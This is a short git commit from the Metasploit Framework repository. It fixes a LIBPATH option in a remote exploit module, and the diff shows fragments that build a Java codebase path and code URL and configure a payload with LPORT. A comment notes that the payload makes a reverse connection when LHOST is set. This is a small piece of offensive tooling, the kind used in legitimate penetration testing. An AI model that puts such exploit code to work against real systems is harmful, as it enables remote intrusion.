oops, broke the LIBPATH option

git-svn-id: file:///home/svn/framework3/trunk@12015 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake
2011-03-18 01:18:18 +00:00
parent f4fe3f11b0
commit 586c1f9305
@@ -114,8 +114,7 @@ class Metasploit3 < Msf::Exploit::Remote
host_num = Rex::Socket.addr_aton(host).unpack('N').first
code_url = jpath.sub(host, host_num.to_s)
codebase = "file:" + "C:\\Program Files (x86)\\java\\jre6\\lib\\ext"
codebase = "file:" + "C:\\Program Files\\java\\jre6\\lib\\ext"
codebase = "file:" + datastore['LIBPATH']
config = "Spawn=2\nLPORT=#{datastore['LPORT']}\n"
# The java payloads decide to be reverse if LHOST is set.